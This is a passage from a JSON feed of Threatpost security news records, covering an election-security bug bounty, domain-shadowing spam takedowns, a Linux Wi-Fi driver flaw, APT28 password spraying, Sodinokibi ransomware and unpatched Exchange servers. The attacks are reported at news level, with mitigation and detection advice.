Vulnerability Disclosure (CVD). Eligible submissions with a \u201cclear, concise proof of concept\u201d (PoC) are eligible for awards ranging from $500 to $15,000 depending on the severity of the bug found.\n\n[](<https://threatpost.com/newsletter-sign/>)\n\nIn-scope products include the ElectionGuard specification and documentation (such as data-transmission issues like information leakage); the verifier reference implementation (bugs that allow attackers to say elections are valid when they aren\u2019t); and C Cryptography implementations (such as bugs that allow key or vote discovery by observing SDK messages).\n\nThe program is one prong of the company\u2019s wider \u201cDefending Democracy\u201d program, under which Microsoft has pledged to [protect campaigns from hacking](<https://threatpost.com/fbi-dhs-report-links-fancy-bear-to-election-hacks/122802/>); increase political [advertising transparency](<https://threatpost.com/google-fine-privacy-gdpr/141055/>) online; explore ways to [protect electoral processes](<https://threatpost.com/voting-machines-hacked-with-ease-at-def-con/127101/>) with technology; and defend against [disinformation campaigns](<https://threatpost.com/twitter-5000-accounts-disinformation-campaigns/145764/>).\n\nResearchers said that the bug-bounty program is a welcome \u2013 if limited \u2013 addition to the private sector\u2019s response to election meddling. However, they also highlighted the need for a more holistic effort, united across both public and private organizations.\n\n\u201c[Russian interference in the 2016 election](<https://threatpost.com/justice-department-indicts-12-russian-nationals-tied-to-2016-election-hacking/133978/>) gave cybersecurity a quick moment in the political spotlight,\u201d Monique Becenti, product and channel specialist at SiteLock, told Threatpost. \u201cBut when the cost of cybercrime reaches billions of dollars each year, election security needs to be top of mind for our political leaders. Since 2016, election security bills have been slow-moving. Some companies, like Microsoft, are rallying the security industry to address this issue head-on. The ElectionGuard Bounty program is an important step in the right direction, but we need political leaders who will champion this issue and ensure constituents and our elections stay secure.\u201d\n\nNot everyone is excited about the move; Richard Gold, head of security engineering at Digital Shadows, said that the program is limited to Microsoft\u2019s proprietary solution, which makes its real-world impact limited at best.\n\n\u201cIt\u2019s great that companies like Microsoft are launching programs like this, but the question remains: how much is this kind of bug bounty going to be used?\u201d he told Threatpost. \u201cBug-bounty programs need to be applied consistently in order to have real impact. There is a trade off in time and resources that needs to be overcome in order for a program like this to be worthwhile.\u201d\n\n\u201cMicrosoft is committed to strengthening our partnership with the security research community as well as pursuing new areas for security improvement in emerging technology,\u201d said Jarek Stanley, senior program manager at the Microsoft Security Response Center, in [announcing the program](<https://msrc-blog.microsoft.com/2019/10/18/introducing-the-electionguard-bounty-program/>). \u201cWe look forward to sharing more bounty updates and improvements in the coming months.\u201d\n\nMicrosoft paid $4.4 million in bounty rewards between July 1, 2018 and June 30 across 11 bounty programs, with a top award of $200,000.\n\n**_What are the top cybersecurity issues associated with privileged account access and credential governance? Experts from Thycotic on Oct. 23 will discuss during our upcoming free _**[**_Threatpost webinar_**](<https://register.gotowebinar.com/register/9029717654543174147?source=ART>)**_, \u201cHackers and Security Pros: Where They Agree & Disagree When It Comes to Your Privileged Access Security.\u201d _**[**_Click here to register_**](<https://register.gotowebinar.com/register/9029717654543174147?source=ART>)**_._**\n", "cvss3": {}, "published": "2019-10-18T20:04:29", "type": "threatpost", "title": "Microsoft Tackles Election Security with Bug Bounties", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-0688", "CVE-2020-1472"], "modified": "2019-10-18T20:04:29", "id": "THREATPOST:891CC19008EEE7B8F1523A2BD4A37993", "href": "https://threatpost.com/microsoft-election-security-bug-bounties/149347/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-04-08T12:04:44", "description": "Researchers at the security firm Palo Alto Networks worked with domain registrar and web hosting firm GoDaddy to shut down 15,000 subdomains pitching \u2018snake oil\u2019 products and other scams. The takedowns are linked to affiliate marketing campaigns peddling everything from weight-loss solutions and brain-enhancement pills.\n\nThose behind the spam campaigns used a technique called domain-shadowing, and they were able to compromise thousands of servers and abuse hundreds of domains and website admin account credentials, according to researchers.\n\nSpam campaigns associated with these subdomain takeovers date back to 2017. Links in messages pointed to subdomains of websites, which unknowingly hosted the product pitches that were backed by bogus endorsements purporting to be from the likes of Stephen Hawking, Jennifer Lopez and Gwen Stefani.\n\n\u201cOn a scale of one to 10 for the \u2018worst types of spam\u2019 you can receive, approaching that perfect 10 score is spam related to \u2018snake oil\u2019 products that are so patently fake that you struggle to understand why they would even bother trying to sell it,\u201d wrote Jeff White, senior threat researcher at Palo Alto Networks, [in a blog post outlining the takedown](<https://unit42.paloaltonetworks.com/takedowns-and-adventures-in-deceptive-affiliate-marketing/>).\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2019/04/26131443/Figure-13-TMZ-pre-sell-page.png>)\n\nExample of a \u201cfarticle\u201d extolling the merits of a dubious pill, solution or potion. Farticle is a term used to describe a fraudulent article. (Click to Enlarge)\n\nWhite investigated and traced the links in the spam messages to an elaborate URL redirection chain that eventually dumped users on the fake products\u2019 landing pages. The redirections, researchers discovered, were leveraging compromised servers. To help obfuscate the sketchy behavior, spammer also used a [Caesar cipher](<http://www.practicalcryptography.com/ciphers/caesar-cipher/>) (a simple substitution code) and a hypertext preprocessor (PHP) file for handling the redirections.\n\n\u201cThe [Caesar cipher] injection is using .php files on compromised sites to drive traffic to fraudulent and/or scam pages,\u201d [according to a researcher at PassiveTotal](<https://www.riskiq.com/blog/labs/caesarv/>) that White consulted with during his investigation. \u201c[These included] fake tech support and fake sites purporting to be news sites, reporting on the incredible effects of weight-loss and intelligence pills.\u201d\n\nNext, White determined that the redirection sites and those that hosted the spam pitches were using legitimate registrant accounts in a technique called domain-shadowing. That\u2019s when attackers use stolen domain registrant credentials to create massive lists of subdomains, which are used in quickly rotating fashion to either redirect victims to attack sites, or to serve as hosts for malicious payloads. This technique is considered an evolution of [fast-flux](<https://threatpost.com/operation-high-roller-banked-fast-flux-botnet-steal-millions-102412/77150/>), where malicious elements are moved from place to place rapidly, in an effort to stay ahead of detection.\n\n\u201cIt would seem likely that the person(s) behind [the campaigns] were going about it in an automated fashion, logging into these legitimate domain accounts and using a dictionary of simple English words to create subdomains pointing to their redirector,\u201d said the researcher.\n\nThis isn\u2019t the first time GoDaddy has had to deal domain-shadowing used to link to malicious activity. Over the years the approach has been used to distribute [everything from the Angler Exploit Kit](<https://threatpost.com/domain-shadowing-latest-angler-exploit-kit-evasion-technique/111396/>) to [the RIG Exploit Kit](<https://threatpost.com/40000-subdomains-tied-to-rig-exploit-kit-shut-down/126072/>).\n\nWhile in White\u2019s case the payload wasn\u2019t malware, but rather affiliate marketing scams, he warned of the malicious nature of those behind the spam campaigns: \u201cThere are a lot of players in the affiliate marketing world, from the affiliates to the merchants and all of the networks in-between,\u201d he said. \u201cHopefully this blog helps to shine some light on how at every link in this chain there are shady, sometimes illegal and almost always deceptive business practices still being employed, to scam hard working people out of their money.\u201d\n", "cvss3": {}, "published": "2019-04-26T17:47:01", "type": "threatpost", "title": "GoDaddy Shutters 15,000 Subdomains Tied to 'Snake Oil' Scams", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2019-11043", "CVE-2020-0688"], "modified": "2019-04-26T17:47:01", "id": "THREATPOST:DDB6E2767CFC8FF972505D4C12E6AB6B", "href": "https://threatpost.com/godaddy-shutters-subdomains-snake-oil/144147/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2020-09-30T22:30:33", "description": "A critical Linux bug has been discovered that could allow attackers to fully compromise vulnerable machines. A fix has [been proposed](<https://www.mail-archive.com/linux-kernel@vger.kernel.org/msg2132949.html>) but has not yet been incorporated into the Linux kernel.\n\nThe flaw ([CVE-2019-17666](<https://nvd.nist.gov/vuln/detail/CVE-2019-17666>)), which was [classified as critical](<https://vuldb.com/?id.143835>) in severity, exists in the \u201crtlwifi\u201d driver, which is a software component used to allow certain Realtek Wi-Fi modules, used in Linux devices, to communicate with the Linux operating system.\n\nSpecifically, the driver is vulnerable to a [buffer overflow](<https://cwe.mitre.org/data/definitions/122.html>) attack, where a buffer (a region in physical memory storage used to temporarily store data while it is being moved) is allocated in the heap portion of memory (a region of process\u2019s memory which is used to store dynamic variables). That excess data in turn corrupts nearby space in memory and could alter other data, opening the door for malicious attacks. This specific flaw could enable attackers to launch a variety of attacks \u2013 from crashing vulnerable Linux machines to full takeover.\n\n[](<https://threatpost.com/newsletter-sign/>)\n\n\u201cThe bug is serious\u2026 if an attacker is currently using that Realtek driver (rtlwifi), then it\u2019s vulnerable to this bug and someone on a wireless distance range can potentially attack him,\u201d Nico Waisman, principal security engineer at Github, who discovered the bug and posted his findings [Thursday on Twitter](<https://twitter.com/nicowaisman/status/1184864519316758535?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1184864519316758535&ref_url=https%3A%2F%2Fkasperskycontenthub.com%2Fthreatpost-global%2Fwp-admin%2Fpost.php%3Fpost%3D149325%26action%3Dedit>), told Threatpost.\n\n> Found this bug on Monday. An overflow on the linux rtlwifi driver on P2P (Wifi-Direct), while parsing Notice of Absence frames. \nThe bug has been around for at least 4 years <https://t.co/rigXOEId29> [pic.twitter.com/vlVwHbUNmf](<https://t.co/vlVwHbUNmf>)\n> \n> \u2014 Nico Waisman (@nicowaisman) [October 17, 2019](<https://twitter.com/nicowaisman/status/1184864519316758535?ref_src=twsrc%5Etfw>)\n\nThe vulnerable piece of the rtlwifi driver is a feature called the Notice of Absence protocol. This protocol helps devices autonomously power down their radio to save energy. The flaw exists in how the driver handles Notice of Absence packets: It does not check certain packets for a compatible length, so an attacker could add specific information elements that would cause the system to crash.\n\nAccording to Waisman, to exploit the flaw an attacker would send a \u201cmalicious\u201d packet that will trigger the vulnerability on the Linux machine. This can be done if the attacker is within radio range of the vulnerable device. There is no need for an attacker to have any sort of authentication, he said.\n\nThe flaw can be exploited to trigger various attacks, he added.\n\n\u201cThe vulnerability triggers an overflow, which means it could make Linux crash or if a proper exploit is written (which is not trivial), an attacker could obtain remote code-execution,\u201d Waisman told Threatpost.\n\nVersions through 5.3.6 of the Linux kernel operating system are impacted \u2014 and researchers said it has been in existence for four years before discovery. In response, the Linux kernel team has [developed a patch](<https://www.mail-archive.com/linux-kernel@vger.kernel.org/msg2132949.html>) which is currently under revision but has not yet been incorporated into the Linux kernel.\n\nRealtek did not respond to a request for comment from Threatpost.\n\n**_What are the top cybersecurity issues associated with privileged account access and credential governance? Experts from Thycotic on Oct. 23 will discuss during our upcoming free _**[**_Threatpost webinar_**](<https://register.gotowebinar.com/register/9029717654543174147?source=ART>)**_, \u201cHackers and Security Pros: Where They Agree & Disagree When It Comes to Your Privileged Access Security.\u201d _**[**_Click here to register_**](<https://register.gotowebinar.com/register/9029717654543174147?source=ART>)**_._**\n", "cvss3": {}, "published": "2019-10-18T15:55:37", "type": "threatpost", "title": "Four-Year-Old Critical Linux Wi-Fi Bug Allows System Compromise", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2019-17666", "CVE-2020-0688"], "modified": "2019-10-18T15:55:37", "id": "THREATPOST:EA093948BFD7033F5C9DB5B3199BEED4", "href": "https://threatpost.com/critical-linux-wi-fi-bug-system-compromise/149325/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2021-07-07T11:01:50", "description": "U.S. and U.K. authorities are warning that the APT28 advanced-threat actor (APT) \u2013 a.k.a. Fancy Bear or Strontium, among other names \u2013 has been using a [Kubernetes](<https://threatpost.com/windows-containers-malware-targets-kubernetes/166692/>) cluster in a widespread campaign of brute-force password-spraying attacks against hundreds of government and private sector targets worldwide.\n\nThe joint alert ([PDF](<https://media.defense.gov/2021/Jul/01/2002753896/-1/-1/1/CSA_GRU_GLOBAL_BRUTE_FORCE_CAMPAIGN_UOO158036-21.PDF>)) \u2013 posted on Thursday by the National Security Agency (NSA), the Cybersecurity and Infrastructure Security Agency (CISA), the FBI, and the U.K.\u2019s National Cyber Security Centre (NCSC) \u2013 attributes the campaign to the APT group, which has [long been suspected](<https://threatpost.com/microsoft-says-russian-apt-group-behind-zero-day-attacks/121722/>) of having ties to the General Staff Main Intelligence Directorate (GRU) arm of Russia\u2019s military intelligence.\n\nThe attacks have been launched since at least mid-2019 through early 2021 and are \u201calmost certainly still ongoing,\u201d according to the advisory.\n\n[](<https://threatpost.com/newsletter-sign/>)\n\nThe threat actor has targeted \u201ca significant amount\u201d of its activity at organizations using [Microsoft Office 365 cloud services](<https://threatpost.com/microsoft-office-365-attacks-google-firebase/163666/>), authorities warned.\n\nThe attackers are after the passwords of people who work at sensitive jobs in hundreds of organizations worldwide, including government and military agencies in the U.S. and Europe, defense contractors, think tanks, law firms, media outlets, universities and more.\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2021/07/02101634/APT28-targets-e1625235408497.jpg>)\n\nAPT28 targets being bombarded by brute-force attacks. Source: CISA advisory.\n\nOnce the threat actors get valid credentials, they\u2019re using them for initial access, persistence, privilege escalation and defense evasion, among other things. The actors are using the passwords in conjunction with exploits of publicly known vulnerabilities, such as ([CVE-2020-0688](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0688>)) \u2013 a vulnerability in the [control panel of Microsoft\u2019s Exchange Server](<https://threatpost.com/microsoft-exchange-exploited-flaw/159669/>) \u2013 and [ CVE 2020-17144](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2020-17144>), also found in Exchange Server. Both these and other vulnerabilities can be used for remote code execution (RCE) and further access to target networks.\n\nAfter APT28 gains remote access, it uses a slew of well-known tactics, techniques and procedures (TTPs) \u2013 including HTTP(S), IMAP(S), POP3, and [NTLM](<https://threatpost.com/microsoft-addresses-ntlm-bugs-that-facilitate-credential-relay-attacks/126752/>) (a suite of Microsoft security protocols used for authentication \u2013 in addition to Kubernetes-powered password-spraying in order to gain lateral movement, to evade defenses and to sniff out more information from the target networks.\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2021/07/02103812/TTPs--e1625236705468.jpg>)\n\nExample of several TTPs used together as part of this type of brute-force campaign. Source: CISA advisory.\n\nGiven how vastly different the target networks\u2019 structures are, the actors are using an equally diverse mix of TTPs. The alert included 21 samples of known TTPs. One example is the TTPs used to exploit public-facing apps: APT28 has been tracked using the two previously mentioned bugs to gain privileged RCE on vulnerable Microsoft Exchange servers, which in some case happened after valid credentials were identified via password spray, given that exploitation of the vulnerabilities requires authentication as a valid user.\n\n## How Kubernetes Fits In\n\nAuthorities said that to obfuscate its true origin and to provide \u201ca degree of anonymity,\u201d the Kubernetes cluster used in these attacks normally routes brute-force authentication attempts through Tor and commercial [VPN services](<https://threatpost.com/darkside-pwned-colonial-with-old-vpn-password/166743/>), including CactusVPN, IPVanish, NordVPN, ProtonVPN, Surfshark and WorldVPN. If they\u2019re not using [Tor](<https://threatpost.com/unencrypted-mobile-traffic-tor-network-leaks-pii/149200/>) or a VPN, the actors are sometimes using nodes in the Kubernetes cluster.\n\nGiven the \u201cscalable nature of the password spray-capability,\u201d specific indicators of compromise (IOC) can be easily altered to bypass IOC-based mitigation, the advisory explained. Thus, while the advisory lists specific indicators, authorities also advised organizations to consider denying all inbound traffic from known Tor nodes and public VPN services to Exchange servers or portals that don\u2019t normally see that kind of access.\n\n## Mitigations\n\nBeyond authorities\u2019 suggestion to consider shutting off the spigot on Tor and VPN services where that makes sense, the advisory also listed a number of standard and not-so-standard mitigations, summed up in an executive summary:\n\n\u201cNetwork managers should adopt and expand usage of multi-factor authentication to help counter the effectiveness of this capability. Additional mitigations to ensure strong access controls include time-out and lock-out features, the mandatory use of strong passwords, implementation of a Zero Trust security model that uses additional attributes when determining access, and analytics to detect anomalous accesses.\u201d\n\nBut one expert \u2013 Tom (TJ) Jermoluk, CEO and co-founder of Beyond Identity, raised a hairy eyeball at the notion that stronger passwords can do anything to protect against password spraying, particularly when it comes on top of a concerted effort to gather valid credentials.\n\n\u201cRussian GRU agents and other state actors like those involved in SolarWinds \u2013 and a range of financially motivated attackers (e.g., ransomware) \u2013 all use the same \u2018password spraying\u2019 brute force techniques,\u201d he told Threatpost in an email on Friday. \u201cWhy? Because they are so effective. Unfortunately, a misunderstanding of this technique is leading to shockingly flawed advice like that given in the NSA advisory which, in part, recommends \u2018mandating the use of stronger passwords.'\u201d\n\nHe added, \u201cThe credential-gathering that preceded the password spraying campaign most certainly collected short and strong passwords. And the Russian Kubernetes cluster used in the attack was capable of spraying \u2018strong passwords.'\u201d\n\n## The Continuing Threat\n\nOn Friday, Russia\u2019s embassy in Washington issued a statement on [Facebook](<https://www.facebook.com/RusEmbUSA>) in which it \u201ccategorically\u201d rejected the allegations, noting that \u201cWe emphasize that fighting against cybercrime is an inherent priority for Russia and an integral part of its state policy to combat all forms of crime.\u201d\n\nJust a few of the recent campaigns attributed to Russia\u2019s military unit:\n\n**April 2021**: The [NSA linked APT29 ](<https://threatpost.com/nsa-security-bugs-active-nation-state-cyberattack/165446/>)to Russia\u2019s Foreign Intelligence Services (SVR), as the U.S. formally attributed the recent [SolarWinds supply-chain attacks](<https://threatpost.com/solarwinds-orion-bug-remote-code-execution/163618/>) to the SVR and issued sanctions on Russia for cyberattacks and what President Biden called out as interference with U.S. elections.\n\n**November 2020: **Microsoft reported that APT28 joined in the feeding frenzy as one of three major APTs that [went after pharma](<https://threatpost.com/russia-north-korea-attacking-covid-19-vaccine-makers/161205/>) and clinical organizations involved in COVID-19 research.\n\n**September 2020**: Microsoft issued a warning that members of the Russian military unit were attempting to [harvest Office 365](<https://threatpost.com/apt28-theft-office365-logins/159195/>) credentials in the runup to U.S. elections, targeting mainly election-related organizations. The company noted at the time that the group had attacked more than 200 organizations last year, including political campaigns, advocacy groups, parties and political consultants. Those targets included think-tanks such as The German Marshall Fund of the United States, The European People\u2019s Party, and various U.S.-based consultants serving Republicans and Democrats.\n\nSaying that we can\u2019t let down our guards would be quite the understatement, according to Check Point spokesperson Ekram Ahmed: \u201cGRU continues to be a threat that we can\u2019t ignore,\u201d he observed to Threatpost on Friday. \u201cThe scale, reach and pace of their operations are alarming, especially with the 2021 Summer Olympics around the corner.\u201d\n\nIn fact, in October 2020, the U.K.\u2019s NCSC, in a joint operation with U.S. intelligence, said that that\u2019s exactly what was in the works, accusing Russian military intelligence services of [planning a cyberattack](<https://www.theguardian.com/world/2020/oct/19/russia-planned-cyber-attack-on-tokyo-olympics-says-uk>) on the [Japanese-hosted Olympics](<https://www.sportingnews.com/au/other-sports/news/tokyo-olympic-games-2021-will-they-go-ahead/1gv928rhuuo0o1ucb6481onp4m>), scheduled to start in three weeks on July 23 after having been postponed due to the pandemic.\n\n_**Check out our free **_[_**upcoming live and on-demand webinar events**_](<https://threatpost.com/category/webinars/>)_** \u2013 unique, dynamic discussions with cybersecurity experts and the Threatpost community.**_\n", "cvss3": {}, "published": "2021-07-02T16:14:14", "type": "threatpost", "title": "Kubernetes Used in Brute-Force Attacks Tied to Russia\u2019s APT28", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-0688", "CVE-2020-17144"], "modified": "2021-07-02T16:14:14", "id": "THREATPOST:B25070E6CF075EEA6B20C4D8D25ADBE8", "href": "https://threatpost.com/kubernetes-brute-force-attacks-russia-apt28/167518/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2020-04-08T11:51:51", "description": "A recently-disclosed critical vulnerability in Oracle WebLogic is being actively exploited in a slew of attacks, which are distributing a never-before-seen ransomware variant.\n\nThe recently-patched flaw exists in Oracle\u2019s WebLogic server, used for building and deploying enterprise applications. The deserialization vulnerability ([CVE-2019-2725](<https://www.oracle.com/technetwork/security-advisory/alert-cve-2019-2725-5466295.html>)\u200b) is being exploited to spread what researchers with Cisco Talos in a [Tuesday analysis](<https://blog.talosintelligence.com/2019/04/sodinokibi-ransomware-exploits-weblogic.html>) dubbed the \u201cSodinokibi\u201d ransomware.\n\n\u201cThis is the first time we have seen this ransomware being used in the wild,\u201d Jaeson Schultz, technical leader, at Cisco Talos, told Threatpost. \u201cThis new ransomware first emerged on April 26. Part of what makes this ransomware stick out is the fact that attackers were using a 0-day vulnerability to install it. Talos is continuing to analyze the ransomware itself. It\u2019s obfuscated and there are several anti-analysis tricks.\u201d\n\n[](<https://threatpost.com/newsletter-sign/>)\n\nThe critical flaw, which has a CVSS score of 9.8, is a remote code execution bug that is remotely exploitable without authentication. Impacted are versions 10.3.6.0.0 and 12.1.3.0.0 of the product. The flaw was patched on April 26 \u2013 but researchers said that attackers have been exploiting the flaw since April 21.\n\n\u201cDue to the severity of this vulnerability, Oracle recommends that this Security Alert be applied as soon as possible,\u201d Eric Maurice, director of security assurance at Oracle, said in a [recent post](<https://blogs.oracle.com/security/security-alert-cve-2019-2725-released>) about the vulnerability.[](<https://media.threatpost.com/wp-content/uploads/sites/103/2019/04/30140000/oracle-weblogic-flaw.png>)\n\nThe ransomware first came onto researchers\u2019 radar on April 25 (the day before a patch was released), after attackers attempted to make an HTTP connection with a vulnerable Oracle WebLogic server.\n\nWhile Cisco Talos researchers would not disclose further details to Threatpost regarding the victim of this particular ransomware attack \u2013 such as the company size or industry \u2013 they said they do think multiple victims are being targeted.\n\n\u201cAttackers were ultimately successful at encrypting a number of customer systems during this incident,\u201d they said.\n\nWhile typically ransomware variants require some form of user interaction \u2013 such as opening an attachment to an email message or clicking on a malicious link, this incident was abnormal as attackers simply leveraged the Oracle WebLogic vulnerability, researchers said.\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2019/04/30135836/ransomware-note.png>)\n\nRansomware Note\n\nOnce attackers found a vulnerable server, they sent an HTTP POST request to that server. The request contained a PowerShell command, which downloaded a file called \u201cradm.exe.\u201d That then saved the ransomware locally and executed it.\n\nOnce downloaded, the ransomware encrypted the victim\u2019s systems and displayed a ransom note to them, directing victims to a page on the Tor network to a domain (decryptor[.]top) the public web, which was registered on March 31 this year.\n\nAfter victims visited said pages, they were directed to create a Bitcoin wallet and purchase $2500 (USD) worth of Bitcoin. They then were directed to transfer the Bitcoin to an address provided by the attackers. After the transaction is confirmed on the Blockchain, the attackers updates the page with a link to download the decryptor, researchers told Threatpost.\n\nResearchers also noted that, once downloaded, the malicious file executed \u200bvssadmin.exe, a legitimate utility bundled with Windows that enables allows administrators to manage the shadow copies that are on the computer. Shadow copies are a technology that enables systems to take automatic backup copies of computer files.\n\nBecause attackers executed this feature, it allows them to access and delete the automatic backups \u2013 making it harder for victims to recover their data: \u201cThis action\u200b is a common [tactic] of ransomware to prevent users from easily recovering their data,\u201d researchers said. \u201cIt attempts to delete default Windows backup mechanisms, otherwise known as \u2018shadow copies,\u2019 to prevent recovery of the original files from these backups.\u201d\n\nWhile researchers told Threatpost they\u2019re not sure who is behind the attack, they did note that after the ransomware deployment, attackers followed up with an additional exploit attempt (of the CVE-2019-2725 vulnerability) approximately eight hours later.\n\nInterestingly, this attack utilized the infamous [Gandcrab ransomware](<https://threatpost.com/tag/gandcrab-ransomware/>) (v5.2), making researchers believe that the attacker is a Gandcrab ransomware affiliate member, Schultz told Threatpost.\n\n\u201cWe find it strange the attackers would choose to distribute additional, different ransomware on the same target,\u201d researchers said. \u201cSodinokibi being a new flavor of ransomware, perhaps the attackers felt their earlier attempts had been unsuccessful and were still looking to cash in by distributing Gandcrab.\u201d\n\nLooking forward, researchers said that they expect attacks on Oracle\u2019s WebLogic servers to increase, and urge users to update immediately. This flaw was not part of Oracle\u2019s regularly-scheduled quarterly patch earlier in [April](<https://threatpost.com/oracle-squashes-53-critical-bugs-in-april-security-update/143845/>), where it fixed 53 other critical vulnerabilities in Oracle products.\n\n\u201cDue to the ubiquity of Oracle WebLogic servers and the ease of exploitation of this vulnerability, Talos expects widespread attacks involving CVE-2019-2725,\u201d they said.\n", "cvss3": {}, "published": "2019-04-30T19:20:13", "type": "threatpost", "title": "New 'Sodinokibi' Ransomware Exploits Critical Oracle WebLogic Flaw", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2019-2725", "CVE-2020-0688"], "modified": "2019-04-30T19:20:13", "id": "THREATPOST:4DD624E32718A8990263A37199EEBD02", "href": "https://threatpost.com/new-sodinokibi-ransomware-exploits-critical-oracle-weblogic-flaw/144233/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2020-10-14T22:11:08", "description": "Over half of exposed Exchange servers are still vulnerable to a severe bug that allows authenticated attackers to execute code remotely with system privileges \u2013 even eight months after Microsoft issued a fix.\n\nThe vulnerability in question ([CVE-2020-0688](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0688>)) exists in the control panel of Exchange, Microsoft\u2019s mail server and calendaring server. The flaw, which stems from the server failing to properly create unique keys at install time, was fixed as part of Microsoft\u2019s [February Patch Tuesday](<https://threatpost.com/microsoft-active-attacks-air-gap-99-patches/152807/>) updates \u2013 and [admins in March were warned](<https://threatpost.com/microsoft-exchange-server-flaw-exploited-in-apt-attacks/153527/>) that unpatched servers are being exploited in the wild by unnamed advanced persistent threat (APT) actors.\n\nHowever, new telemetry found that out of 433,464 internet-facing Exchange servers observed, at least 61 percent of Exchange 2010, 2013, 2016 and 2019 servers are still vulnerable to the flaw.\n\n[](<https://threatpost.com/newsletter-sign/>)\n\n\u201cThere are two important efforts that Exchange administrators and infosec teams need to undertake: verifying deployment of the update and checking for signs of compromise,\u201d said Tom Sellers with Rapid7 [in a Tuesday analysis](<https://blog.rapid7.com/2020/04/06/phishing-for-system-on-microsoft-exchange-cve-2020-0688/>).\n\n> Speaking of Exchange, we took another look at Exchange CVE-2020-0688 (any user -> SYSTEM on OWA). \n> \n> It's STILL 61% unpatched. \n> \n> This is dangerous as hell and there is a reliable Metasploit module for it.\n> \n> See the UPDATED information on the ORIGINAL blog:<https://t.co/DclWb3T0mZ>\n> \n> \u2014 Tom Sellers (@TomSellers) [September 29, 2020](<https://twitter.com/TomSellers/status/1310991824828407808?ref_src=twsrc%5Etfw>)\n\nResearchers warned [in a March advisory](<https://www.volexity.com/blog/2020/03/06/microsoft-exchange-control-panel-ecp-vulnerability-cve-2020-0688-exploited/>) that unpatched servers are being exploited in the wild by unnamed APT actors. Attacks [first started in late February](<https://www.tenable.com/blog/cve-2020-0688-microsoft-exchange-server-static-key-flaw-could-lead-to-remote-code-execution?utm_source=charge&utm_medium=social&utm_campaign=internal-comms>) and targeted \u201cnumerous affected organizations,\u201d researchers said. They observed attackers leverage the flaw to run system commands to conduct reconnaissance, deploy webshell backdoors and execute in-memory frameworks, post-exploitation.\n\n[Previously, in April](<https://threatpost.com/serious-exchange-flaw-still-plagues-350k-servers/154548/>), Rapid7 researchers found that more than 80 percent of servers were vulnerable; out of 433,464 internet-facing Exchange servers observed, at least 357,629 were open to the flaw (as of March 24). Researchers used Project Sonar, a scanning tool, to analyze internet-facing Exchange servers and sniff out which were vulnerable to the flaw.\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2020/09/30094515/cve-2020-0688_vulnerability_status.png>)\n\nExchange build number distribution status for flaw. Credit: Rapid7\n\nSellers urged admins to verify that an update has been deployed. The most reliable method to do so is by checking patch-management software, vulnerability-management tools or the hosts themselves to determine whether the appropriate update has been installed, he said.\n\n\u201cThe update for CVE-2020-0688 needs to be installed on any server with the Exchange Control Panel (ECP) enabled,\u201d he said. \u201cThis will typically be servers with the Client Access Server (CAS) role, which is where your users would access the Outlook Web App (OWA).\u201d\n\nWith the ongoing activity, admins should also determine whether anyone has attempted to exploit the vulnerability in their environment. The exploit code that Sellers tested left log artifacts in the Windows Event Log and the IIS logs (which contain HTTP server API kernel-mode cache hits) on both patched and unpatched servers: \u201cThis log entry will include the compromised user account, as well as a very long error message that includes the text invalid viewstate,\u201d he said.\n\nAdmins can also review their IIS logs for requests to a path under /ecp (usually /ecp/default.aspx), Sellers said, These should contain the string __VIEWSTATE and __VIEWSTATEGENERATOR \u2013 and will have a long string in the middle of the request that is a portion of the exploit payload.\n\n\u201cYou will see the username of the compromised account name at the end of the log entry,\u201d he said. \u201cA quick review of the log entries just prior to the exploit attempt should show successful requests (HTTP code 200) to web pages under /owa and then under /ecp.\u201d\n\n**[On October 14 at 2 PM ET](<https://threatpost.com/webinars/retail-security-magecart-and-the-rise-of-retail-security-threats/?utm_source=ART&utm_medium=ART&utm_campaign=oct_webinar>)** Get the latest information on the rising threats to retail e-commerce security and how to stop them. **[Register today](<https://threatpost.com/webinars/retail-security-magecart-and-the-rise-of-retail-security-threats/?utm_source=ART&utm_medium=ART&utm_campaign=oct_webinar>)** for this FREE Threatpost webinar, \u201c**[Retail Security: Magecart and the Rise of e-Commerce Threats.](<https://threatpost.com/webinars/retail-security-magecart-and-the-rise-of-retail-security-threats/?utm_source=ART&utm_medium=ART&utm_campaign=oct_webinar>)**\u201d Magecart and other threat actors are riding the rising wave of online retail usage and racking up big numbers of consumer victims. Find out how websites can avoid becoming the next compromise as we go into the holiday season. Join us Wednesday, Oct. 14, 2-3 PM ET for this **[LIVE ](<https://threatpost.com/webinars/retail-security-magecart-and-the-rise-of-retail-security-threats/?utm_source=ART&utm_medium=ART&utm_campaign=oct_webinar>)**webinar.\n", "cvss3": {}, "published": "2020-09-30T14:34:00", "type": "threatpost", "title": "Microsoft Exchange Servers Still Open to Actively Exploited Flaw", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-0688", "CVE-2020-5135"], "modified": "2020-09-30T14:34:00", "id": "THREATPOST:EE9C0062A3E6400BAF159BCA26EABB34", "href": "https://threatpost.com/microsoft-exchange-exploited-flaw/159669/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2022-03-09T21:12:26", "description": "USAHerds \u2013 an app used ([PDF](<https://www.aphis.usda.gov/traceability/downloads/adt_states/CO.pdf>)) by 